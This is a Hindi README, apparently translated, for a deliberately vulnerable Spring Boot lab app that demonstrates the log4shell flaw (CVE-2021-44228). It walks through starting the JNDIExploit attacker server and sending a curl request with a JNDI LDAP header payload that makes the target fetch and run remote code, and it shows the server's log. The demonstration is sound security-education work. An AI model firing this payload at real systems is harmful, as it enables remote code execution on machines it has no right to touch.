
यह रिपॉजिटरी CVE-2021-44228, जिसे log4shell के नाम से जाना जाता है, के प्रति संवेदनशील एक Spring Boot वेब एप्लिकेशन रखती है।
इस रिपॉज़िटरी में एक Spring Boot वेब एप्लिकेशन है जो CVE-2021-44228 के प्रति असुरक्षित है, जिसे log4shell के नाम से जाना जाता है।
यह उपयोग करता है:
log-4j-core:2.14.1 (spring-boot-starter-log4j2 के माध्यम से) औरopenjdk:8u181इसे चलाएँ:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
या वैकल्पिक रूप से, इसे स्वयं बनाएँ:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
निम्नलिखित चरणों का उपयोग करके आप log4shell एक्सप्लॉइट को दोहरा सकते हैं। यदि आप परिचित नहीं हैं कि यह हमला अंदर से कैसे काम करता है, तो लेख या इस रिपॉज़िटरी में मौजूद स्लाइड्स देखें।
अपडेट (13 दिसंबर): JNDIExploit रिपॉज़िटरी को GitHub से हटा दिया गया है (संभवतः, GitHub द्वारा नहीं)। इसलिए मैं अनुशंसा करता हूँ कि आप इस रिपॉज़िटरी से सहेजे गए संस्करण का उपयोग करें।
पहले हमें हमलावर सर्वर सेटअप करना होगा। इसमें निम्न शामिल हैं:
हम हमलावर सर्वर चालू करने के लिए JNDIExploit का उपयोग करते हैं।
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
पेलोड के रूप में हम असुरक्षित एप्लिकेशन सर्वर पर touch /tmp/pwned निष्पादित करना चाहते हैं (जो base64-एन्कोडेड dG91Y2ggL3RtcC9wd25lZAo= के अनुरूप है)।
निम्न का उपयोग करके एक्सप्लॉइट ट्रिगर करें:
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
JNDIExploit का आउटपुट दिखाता है कि हमलावर सर्वरों ने दुर्भावनापूर्ण एक्सप्लॉइट के साथ प्रतिक्रिया दी और पेलोड निष्पादित किया:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
यह पुष्टि करने के लिए कि कोड निष्पादन सफल रहा, हम जाँचते हैं कि असुरक्षित एप्लिकेशन चलाने वाले कंटेनर में /tmp/pwned.txt फ़ाइल बनाई गई थी:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/